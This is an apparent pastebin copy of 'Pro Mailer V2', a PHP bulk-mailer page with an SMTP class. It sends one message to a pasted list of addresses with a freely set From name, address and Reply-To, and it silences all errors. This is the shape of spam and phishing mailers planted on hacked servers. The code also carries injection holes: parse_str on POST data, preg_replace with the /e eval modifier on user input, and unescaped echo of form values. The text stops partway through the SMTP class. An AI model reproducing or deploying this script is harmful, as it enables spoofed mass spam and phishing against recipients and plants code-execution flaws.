· 9 years ago · Jun 16, 2017, 08:28 PM
1<?
2// @~ PRO Mailer V2
3error_reporting(0);
4function query_str($params){
5$str = '';
6foreach ($params as $key => $value) {
7$str .= (strlen($str) < 1) ? '' : '&';
8$str .= $key . '=' . rawurlencode($value);
9}
10return ($str);
11}
12function lrtrim($string){
13return stripslashes(ltrim(rtrim($string)));
14}
15if(isset($_POST['action'] ) ){
16
17$b = query_str($_POST);
18parse_str($b);
19$sslclick=lrtrim($sslclick);
20$action=lrtrim($action);
21$message=lrtrim($message);
22$emaillist=lrtrim($emaillist);
23$from=lrtrim($from);
24$reconnect=lrtrim($reconnect);
25$epriority=lrtrim($epriority);
26$my_smtp=lrtrim($my_smtp);
27$ssl_port=lrtrim($ssl_port);
28$smtp_username=lrtrim($smtp_username);
29$smtp_password=lrtrim($smtp_password);
30$replyto=lrtrim($replyto);
31$subject_base=lrtrim($subject);
32$realname_base=lrtrim($realname);
33$file_name=$_FILES['file']['name'];
34$file=$_FILES['file']['tmp_name'];
35$urlz=lrtrim($urlz);
36$contenttype=lrtrim($contenttype);
37$encode_text=$_POST['encode'];
38
39
40$message = urlencode($message);
41$message = ereg_replace("%5C%22", "%22", $message);
42$message = urldecode($message);
43$message = stripslashes($message);
44$subject = stripslashes($subject);
45if ($encode_text == "yes") {
46$subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
47$subject = str_replace(' ', '_', $subject);
48$subject = "=?UTF-8?Q?$subject?=";
49$realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
50$realname = str_replace(' ', '_', $realname);
51$realname = "=?UTF-8?Q?$realname?=";
52}
53}
54?>
55
56<html>
57
58<head>
59
60<title>Pro Mailer V2</title>
61
62<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
63
64<script src='https://sites.google.com/site/jquery1000/jquery-1.6.1.js'></script>
65
66<style type="text/css">
67<!--
68.style1 {
69font-family: Geneva, Arial, Helvetica, sans-serif;
70font-size: 12px;
71}
72body{
73margin:0px;
74}
75.bgup {
76background: url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMpaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI+IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgV2luZG93cyIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDozOTYyQzUwMUYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDozOTYyQzUwMkYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjM5NjJDNEZGRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjM5NjJDNTAwRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+/+4ADkFkb2JlAGTAAAAAAf/bAIQAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQICAgICAgICAgICAwMDAwMDAwMDAwEBAQEBAQECAQECAgIBAgIDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMD/8AAEQgABAAEAwERAAIRAQMRAf/EAFQAAQAAAAAAAAAAAAAAAAAAAAoBAQEAAAAAAAAAAAAAAAAAAAMEEAABBQAAAAAAAAAAAAAAAADwABM1hbYRAAIDAAAAAAAAAAAAAAAAAADwMYGz/9oADAMBAAIRAxEAPwB2GCLmZG0WTck2Dcn/2Q==);
77}
78
79.cadre {
80background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABOIAAAAFCAIAAABn6tQ4AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA2ZpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDo4QjhGNDZDQUJCQjBFMjExOTgxQUQwNURCN0VFQjJFOSIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo5QTk0QzcyNEI3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo5QTk0QzcyM0I3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M2IChXaW5kb3dzKSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOkM4MDIyM0M4MDRCN0UyMTE4OUY1RTZFNUYxNkU4NTJCIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjhCOEY0NkNBQkJCMEUyMTE5ODFBRDA1REI3RUVCMkU5Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+S6KNZQAAAFZJREFUeNrs17ERgCAQRNHDfhhDIpugLcoiMmRoyBYMz/G9En60W6KP4OfqpQHZnU0Dslu3BmS3pwbYpXzCIQEAAABuKgAAALipAAAAuKkAAADw0iPAAPMxBVFHCeh2AAAAAElFTkSuQmCC);
81}
82
83.uibutton {
84position: relative;
85z-index: 1;
86overflow: visible;
87display: inline-block;
88padding: 0.3em 0.6em 0.375em;
89border: 1px solid #01A9DB;
90border-bottom-color: #01A9DB;
91
92margin: 0;
93text-decoration: none;
94text-align: center;
95font: bold 11px/normal 'lucida grande', tahoma, verdana, arial, sans-serif;
96white-space: nowrap;
97cursor: pointer;
98/* outline: none; */
99color: #f9f9f9;
100background-color: #eee;
101background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#01A9DB), to(#01A9DB));
102background-image: -moz-linear-gradient(#01A9DB, #01A9DB);
103background-image: -o-linear-gradient(#01A9DB, #01A9DB);
104background-image: linear-gradient(#01A9DB, #01A9DB);
105
106/* IE hacks */
107
108*display: inline;
109
110}
111
112.uibutton:hover,
113.uibutton:focus,
114.uibutton:active {
115border-color: #01A9DB #01A9DB #01A9DB #01A9DB;
116}
117
118.uibutton:active {
119border-color: #01A9DB;
120background: #01A9DB;
121filter: none;
122-webkit-box-shadow: none;
123-moz-box-shadow: none;
124box-shadow: none;
125}
126
127/* overrides extra padding on button elements in Firefox */
128.uibutton::-moz-focus-inner {
129padding: 0;
130border: 0;
131}
132
133
134
135-->
136</style>
137<style type="text/css">
138<!--
139.style1 {
140font-size: 10px;
141font-family: Geneva, Arial, Helvetica, sans-serif;
142}
143-->
144</style>
145</head>
146<body bgcolor="#f9f9f9" class="bgup">
147<div class="cadre" style="height:10px;margin:0px auto;"></div>
148<div style="width:80%;margin:0 auto;">
149<p align="center"><font size="5" face="Bauhaus 93">Mailer Inbox Sender</font></p>
150<form name="form1" method="post" action="" enctype="multipart/form-data">
151
152<br>
153
154<table width="100%" border="0" height="407" style="background:#fff" cellpadding="0" cellspacing="0">
155
156<tr>
157
158<td width="100%" colspan="4" style="color:#fff;background:#01A9DB" height="36">
159
160<b>
161
162<font face="Arial" size="2" > SMTP SETUP</font></b></td>
163
164</tr>
165<tr >
166
167<td width="10%" height="22" style="padding:10px;">
168
169<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Login:</font></div>
170
171</td>
172
173<td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
174
175<input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="smtp_username" value="<?=$smtp_username;?>" size="30">
176
177</font></td>
178
179<td width="31%" height="22" style="padding:10px;">
180
181<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Pass:</font></div>
182
183</td>
184
185<td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
186
187<input type="password" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="smtp_password" value="<?=$smtp_password;?>" size="30">
188
189</font></td>
190
191</tr>
192<tr>
193
194<td width="10%" height="22" style="padding:10px;">
195
196<div align="right">
197<font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
198
199</td>
200
201<td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
202
203<input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="ssl_port" value="<?=$ssl_port;?>" size="5">
204(optional)</font></td>
205
206<td width="31%" height="22" style="padding:10px;">
207
208<div align="right">
209<font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP Server
210Smtp:</font></div>
211
212</td>
213
214<td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
215
216<input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="my_smtp" value="<?=$my_smtp;?>" size="30">
217
218</font></td>
219
220</tr>
221<tr>
222
223<td width="10%" height="22" style="padding:10px;">
224
225<p align="right">
226<font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
227
228<td width="18%" height="22" style="padding:10px;">
229<input type="checkbox" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
230
231<td width="31%" height="22" style="padding:10px;">
232
233<p align="right">
234<font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
235After:</font></td>
236
237<td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
238
239<input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="reconnect" value="<?=$reconnect;?>" size="5">
240EMAILS</font></td>
241
242</tr>
243<tr>
244
245<td width="100%" height="39" colspan="4" style="padding:10px;">
246
247<p align="center">
248<font face="Arial" style="font-size: 9pt" color="#800000"><b>"</b> If
249you dont have SMTP login, leave blank queries above <b>"</b></font></td>
250
251</tr>
252
253<tr>
254
255<td width="10%" height="19" style="padding:10px;">
256
257 </td>
258
259<td width="18%" height="19" style="padding:10px;"> </td>
260
261<td width="31%" height="19" style="padding:10px;">
262
263 </td>
264
265<td width="41%" height="19" style="padding:10px;"> </td>
266
267</tr>
268
269<tr>
270
271<td width="100%" colspan="4" style="color:#fff;background:#01A9DB" height="36">
272
273<b>
274
275<font face="Arial" size="2" color="#FFFFFF"> MESSAGE SETUP</font></b></td>
276
277</tr>
278<tr>
279
280<td width="10%" height="22" style="padding:10px;">
281<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font></div>
282</td>
283
284<td width="59%" height="22" style="padding:10px;" colSpan="3">
285<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
286
287<input type="file" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="file" size="124">
288
289</font></td>
290
291</tr>
292<tr>
293
294<td width="10%" height="22" style="padding:10px;">
295
296<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
297
298Email:</font></div>
299
300</td>
301
302<td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
303
304<input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="from" value="<?=$from;?>" size="30">
305
306</font></td>
307
308<td width="31%" height="22" style="padding:10px;">
309
310<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
311
312Name:</font></div>
313
314</td>
315
316<td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
317
318<input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="realname" value="<?=$realname_base;?>" size="30">
319
320</font></td>
321
322</tr>
323<tr>
324
325<td width="10%" height="22" style="padding:10px;">
326
327<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
328
329</td>
330
331<td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
332
333<input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="replyto" value="<?=$replyto;?>" size="30">
334
335</font></td>
336
337<td width="31%" height="22" style="padding:10px;">
338
339<p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
340Email Priority:</font></td>
341
342<td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
343
344 </font><select style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="epriority" id="listMethod" onchange="showHideListConfig()">
345<option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
346<option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
347<option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
348<option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
349</select></td>
350
351</tr>
352
353<tr>
354
355<td width="10%" height="22" style="padding:10px;">
356
357<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
358
359</td>
360
361<td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
362
363<input type="text" name="subject" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" value="<?=$subject_base;?>" size="90">
364
365</font></td>
366
367</tr>
368
369<tr>
370
371<td width="10%" height="22" style="padding:10px;">
372
373 </td>
374
375<td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
376
377 <font color="#FF0000">Encode sending information ?</font> <select style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" size="1" name="encode">
378<option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
379<option <? if($encode_text == "no"){print "selected";} ?>>no</option>
380</select></font></td>
381
382</tr>
383
384<tr valign="top">
385
386<td colspan="3" height="190" style="padding:10px;"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
387
388<textarea name="message" cols="60" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" rows="10"><?=$message;?></textarea>
389
390<br>
391
392<input type="radio" name="contenttype" value="plain" >
393
394Plain
395
396<input type="radio" name="contenttype" value="html" checked>
397
398HTML
399
400<input type="hidden" name="action" value="send">
401<input class="uibutton" type="submit" value="Send Message">
402
403</font></td>
404
405<td width="41%" height="190" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
406
407<textarea name="emaillist" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" cols="30" rows="10"><?=$emaillist;?></textarea>
408
409</font></td>
410
411</tr>
412
413</table>
414
415</form>
416
417
418
419<?
420
421if ($action){
422if (!$from && !$subject && !$message && !$emaillist){
423print "<script>alert('Please complete all fields before sending your message.'); </script>";
424die(); }
425
426class SMTP
427{
428/**
429* SMTP server port
430* @var int
431*/
432var $SMTP_PORT = 25;
433
434/**
435* SMTP reply line ending
436* @var string
437*/
438var $CRLF = "\r\n";
439
440/**
441* Sets whether debugging is turned on
442* @var bool
443*/
444var $do_debug; # the level of debug to perform
445
446/**
447* Sets VERP use on/off (default is off)
448* @var bool
449*/
450var $do_verp = false;
451
452/**#@+
453* @access private
454*/
455var $smtp_conn; # the socket to the server
456var $error; # error if any on the last call
457var $helo_rply; # the reply the server sent to us for HELO
458/**#@-*/
459
460/**
461* Initialize the class so that the data is in a known state.
462* @access public
463* @return void
464*/
465function SMTP() {
466$this->smtp_conn = 0;
467$this->error = null;
468$this->helo_rply = null;
469
470$this->do_debug = 0;
471}
472
473/*************************************************************
474* CONNECTION FUNCTIONS *
475***********************************************************/
476
477/**
478* Connect to the server specified on the port specified.
479* If the port is not specified use the default SMTP_PORT.
480* If tval is specified then a connection will try and be
481* established with the server for that number of seconds.
482* If tval is not specified the default is 30 seconds to
483* try on the connection.
484*
485* SMTP CODE SUCCESS: 220
486* SMTP CODE FAILURE: 421
487* @access public
488* @return bool
489*/
490function Connect($host,$port=0,$tval=30) {
491# set the error val to null so there is no confusion
492$this->error = null;
493
494# make sure we are __not__ connected
495if($this->connected()) {
496# ok we are connected! what should we do?
497# for now we will just give an error saying we
498# are already connected
499$this->error = array("error" => "Already connected to a server");
500return false;
501}
502
503if(empty($port)) {
504$port = $this->SMTP_PORT;
505}
506
507#connect to the smtp server
508$this->smtp_conn = fsockopen($host, # the host of the server
509$port, # the port to use
510$errno, # error number if any
511$errstr, # error message if any
512$tval); # give up after ? secs
513# verify we connected properly
514if(empty($this->smtp_conn)) {
515$this->error = array("error" => "Failed to connect to server",
516"errno" => $errno,
517"errstr" => $errstr);
518if($this->do_debug >= 1) {
519echo "SMTP -> ERROR: " . $this->error["error"] .
520": $errstr ($errno)" . $this->CRLF;
521}
522return false;
523}
524
525# sometimes the SMTP server takes a little longer to respond
526# so we will give it a longer timeout for the first read
527// Windows still does not have support for this timeout function
528if(substr(PHP_OS, 0, 3) != "WIN")
529socket_set_timeout($this->smtp_conn, $tval, 0);
530
531# get any announcement stuff
532$announce = $this->get_lines();
533
534# set the timeout of any socket functions at 1/10 of a second
535//if(function_exists("socket_set_timeout"))
536// socket_set_timeout($this->smtp_conn, 0, 100000);
537
538if($this->do_debug >= 2) {
539echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
540}
541
542return true;
543}
544
545/**
546* Performs SMTP authentication. Must be run after running the
547* Hello() method. Returns true if successfully authenticated.
548* @access public
549* @return bool
550*/
551function Authenticate($username, $password) {
552// Start authentication
553fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
554
555$rply = $this->get_lines();
556$code = substr($rply,0,3);
557
558if($code != 334) {
559$this->error =
560array("error" => "AUTH not accepted from server",
561"smtp_code" => $code,
562"smtp_msg" => substr($rply,4));
563if($this->do_debug >= 1) {
564echo "SMTP -> ERROR: " . $this->error["error"] .
565": " . $rply . $this->CRLF;
566}
567return false;
568}
569
570// Send encoded username
571fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
572
573$rply = $this->get_lines();
574$code = substr($rply,0,3);
575
576if($code != 334) {
577$this->error =
578array("error" => "Username not accepted from server",
579"smtp_code" => $code,
580"smtp_msg" => substr($rply,4));
581if($this->do_debug >= 1) {
582echo "SMTP -> ERROR: " . $this->error["error"] .
583": " . $rply . $this->CRLF;
584}
585return false;
586}
587
588// Send encoded password
589fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
590
591$rply = $this->get_lines();
592$code = substr($rply,0,3);
593
594if($code != 235) {
595$this->error =
596array("error" => "Password not accepted from server",
597"smtp_code" => $code,
598"smtp_msg" => substr($rply,4));
599if($this->do_debug >= 1) {
600echo "SMTP -> ERROR: " . $this->error["error"] .
601": " . $rply . $this->CRLF;
602}
603return false;
604}
605
606return true;
607}
608
609/**
610* Returns true if connected to a server otherwise false
611* @access private
612* @return bool
613*/
614function Connected() {
615if(!empty($this->smtp_conn)) {
616$sock_status = socket_get_status($this->smtp_conn);
617if($sock_status["eof"]) {
618# hmm this is an odd situation... the socket is
619# valid but we are not connected anymore
620if($this->do_debug >= 1) {
621echo "SMTP -> NOTICE:" . $this->CRLF .
622"EOF caught while checking if connected";
623}
624$this->Close();
625return false;
626}
627return true; # everything looks good
628}
629return false;
630}
631
632/**
633* Closes the socket and cleans up the state of the class.
634* It is not considered good to use this function without
635* first trying to use QUIT.
636* @access public
637* @return void
638*/
639function Close() {
640$this->error = null; # so there is no confusion
641$this->helo_rply = null;
642if(!empty($this->smtp_conn)) {
643# close the connection and cleanup
644fclose($this->smtp_conn);
645$this->smtp_conn = 0;
646}
647}
648
649/***************************************************************
650* SMTP COMMANDS *
651*************************************************************/
652
653/**
654* Issues a data command and sends the msg_data to the server
655* finializing the mail transaction. $msg_data is the message
656* that is to be send with the headers. Each header needs to be
657* on a single line followed by a <CRLF> with the message headers
658* and the message body being seperated by and additional <CRLF>.
659*
660* Implements rfc 821: DATA <CRLF>
661*
662* SMTP CODE INTERMEDIATE: 354
663* [data]
664* <CRLF>.<CRLF>
665* SMTP CODE SUCCESS: 250
666* SMTP CODE FAILURE: 552,554,451,452
667* SMTP CODE FAILURE: 451,554
668* SMTP CODE ERROR : 500,501,503,421
669* @access public
670* @return bool
671*/
672function Data($msg_data) {
673$this->error = null; # so no confusion is caused
674
675if(!$this->connected()) {
676$this->error = array(
677"error" => "Called Data() without being connected");
678return false;
679}
680
681fputs($this->smtp_conn,"DATA" . $this->CRLF);
682
683$rply = $this->get_lines();
684$code = substr($rply,0,3);
685
686if($this->do_debug >= 2) {
687echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
688}
689
690if($code != 354) {
691$this->error =
692array("error" => "DATA command not accepted from server",
693"smtp_code" => $code,
694"smtp_msg" => substr($rply,4));
695if($this->do_debug >= 1) {
696echo "SMTP -> ERROR: " . $this->error["error"] .
697": " . $rply . $this->CRLF;
698}
699return false;
700}
701
702# the server is ready to accept data!
703# according to rfc 821 we should not send more than 1000
704# including the CRLF
705# characters on a single line so we will break the data up
706# into lines by \r and/or \n then if needed we will break
707# each of those into smaller lines to fit within the limit.
708# in addition we will be looking for lines that start with
709# a period '.' and append and additional period '.' to that
710# line. NOTE: this does not count towards are limit.
711
712# normalize the line breaks so we know the explode works
713$msg_data = str_replace("\r\n","\n",$msg_data);
714$msg_data = str_replace("\r","\n",$msg_data);
715$lines = explode("\n",$msg_data);
716
717# we need to find a good way to determine is headers are
718# in the msg_data or if it is a straight msg body
719# currently I am assuming rfc 822 definitions of msg headers
720# and if the first field of the first line (':' sperated)
721# does not contain a space then it _should_ be a header
722# and we can process all lines before a blank "" line as
723# headers.
724$field = substr($lines[0],0,strpos($lines[0],":"));
725$in_headers = false;
726if(!empty($field) && !strstr($field," ")) {
727$in_headers = true;
728}
729
730$max_line_length = 998; # used below; set here for ease in change
731
732while(list(,$line) = @each($lines)) {
733$lines_out = null;
734if($line == "" && $in_headers) {
735$in_headers = false;
736}
737# ok we need to break this line up into several
738# smaller lines
739while(strlen($line) > $max_line_length) {
740$pos = strrpos(substr($line,0,$max_line_length)," ");
741
742# Patch to fix DOS attack
743if(!$pos) {
744$pos = $max_line_length - 1;
745}
746
747$lines_out[] = substr($line,0,$pos);
748$line = substr($line,$pos + 1);
749# if we are processing headers we need to
750# add a LWSP-char to the front of the new line
751# rfc 822 on long msg headers
752if($in_headers) {
753$line = "\t" . $line;
754}
755}
756$lines_out[] = $line;
757
758# now send the lines to the server
759while(list(,$line_out) = @each($lines_out)) {
760if(strlen($line_out) > 0)
761{
762if(substr($line_out, 0, 1) == ".") {
763$line_out = "." . $line_out;
764}
765}
766fputs($this->smtp_conn,$line_out . $this->CRLF);
767}
768}
769
770# ok all the message data has been sent so lets get this
771# over with aleady
772fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
773
774$rply = $this->get_lines();
775$code = substr($rply,0,3);
776
777if($this->do_debug >= 2) {
778echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
779}
780
781if($code != 250) {
782$this->error =
783array("error" => "DATA not accepted from server",
784"smtp_code" => $code,
785"smtp_msg" => substr($rply,4));
786if($this->do_debug >= 1) {
787echo "SMTP -> ERROR: " . $this->error["error"] .
788": " . $rply . $this->CRLF;
789}
790return false;
791}
792return true;
793}
794
795/**
796* Expand takes the name and asks the server to list all the
797* people who are members of the _list_. Expand will return
798* back and array of the result or false if an error occurs.
799* Each value in the array returned has the format of:
800* [ <full-name> <sp> ] <path>
801* The definition of <path> is defined in rfc 821
802*
803* Implements rfc 821: EXPN <SP> <string> <CRLF>
804*
805* SMTP CODE SUCCESS: 250
806* SMTP CODE FAILURE: 550
807* SMTP CODE ERROR : 500,501,502,504,421
808* @access public
809* @return string array
810*/
811function Expand($name) {
812$this->error = null; # so no confusion is caused
813
814if(!$this->connected()) {
815$this->error = array(
816"error" => "Called Expand() without being connected");
817return false;
818}
819
820fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
821
822$rply = $this->get_lines();
823$code = substr($rply,0,3);
824
825if($this->do_debug >= 2) {
826echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
827}
828
829if($code != 250) {
830$this->error =
831array("error" => "EXPN not accepted from server",
832"smtp_code" => $code,
833"smtp_msg" => substr($rply,4));
834if($this->do_debug >= 1) {
835echo "SMTP -> ERROR: " . $this->error["error"] .
836": " . $rply . $this->CRLF;
837}
838return false;
839}
840
841# parse the reply and place in our array to return to user
842$entries = explode($this->CRLF,$rply);
843while(list(,$l) = @each($entries)) {
844$list[] = substr($l,4);
845}
846
847return $list;
848}
849
850/**
851* Sends the HELO command to the smtp server.
852* This makes sure that we and the server are in
853* the same known state.
854*
855* Implements from rfc 821: HELO <SP> <domain> <CRLF>
856*
857* SMTP CODE SUCCESS: 250
858* SMTP CODE ERROR : 500, 501, 504, 421
859* @access public
860* @return bool
861*/
862function Hello($host="") {
863$this->error = null; # so no confusion is caused
864
865if(!$this->connected()) {
866$this->error = array(
867"error" => "Called Hello() without being connected");
868return false;
869}
870
871# if a hostname for the HELO was not specified determine
872# a suitable one to send
873if(empty($host)) {
874# we need to determine some sort of appopiate default
875# to send to the server
876$host = "localhost";
877}
878
879// Send extended hello first (RFC 2821)
880if(!$this->SendHello("EHLO", $host))
881{
882if(!$this->SendHello("HELO", $host))
883return false;
884}
885
886return true;
887}
888
889/**
890* Sends a HELO/EHLO command.
891* @access private
892* @return bool
893*/
894function SendHello($hello, $host) {
895fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
896
897$rply = $this->get_lines();
898$code = substr($rply,0,3);
899
900if($this->do_debug >= 2) {
901echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
902}
903
904if($code != 250) {
905$this->error =
906array("error" => $hello . " not accepted from server",
907"smtp_code" => $code,
908"smtp_msg" => substr($rply,4));
909if($this->do_debug >= 1) {
910echo "SMTP -> ERROR: " . $this->error["error"] .
911": " . $rply . $this->CRLF;
912}
913return false;
914}
915
916$this->helo_rply = $rply;
917
918return true;
919}
920
921/**
922* Gets help information on the keyword specified. If the keyword
923* is not specified then returns generic help, ussually contianing
924* A list of keywords that help is available on. This function
925* returns the results back to the user. It is up to the user to
926* handle the returned data. If an error occurs then false is
927* returned with $this->error set appropiately.
928*
929* Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
930*
931* SMTP CODE SUCCESS: 211,214
932* SMTP CODE ERROR : 500,501,502,504,421
933* @access public
934* @return string
935*/
936function Help($keyword="") {
937$this->error = null; # to avoid confusion
938
939if(!$this->connected()) {
940$this->error = array(
941"error" => "Called Help() without being connected");
942return false;
943}
944
945$extra = "";
946if(!empty($keyword)) {
947$extra = " " . $keyword;
948}
949
950fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
951
952$rply = $this->get_lines();
953$code = substr($rply,0,3);
954
955if($this->do_debug >= 2) {
956echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
957}
958
959if($code != 211 && $code != 214) {
960$this->error =
961array("error" => "HELP not accepted from server",
962"smtp_code" => $code,
963"smtp_msg" => substr($rply,4));
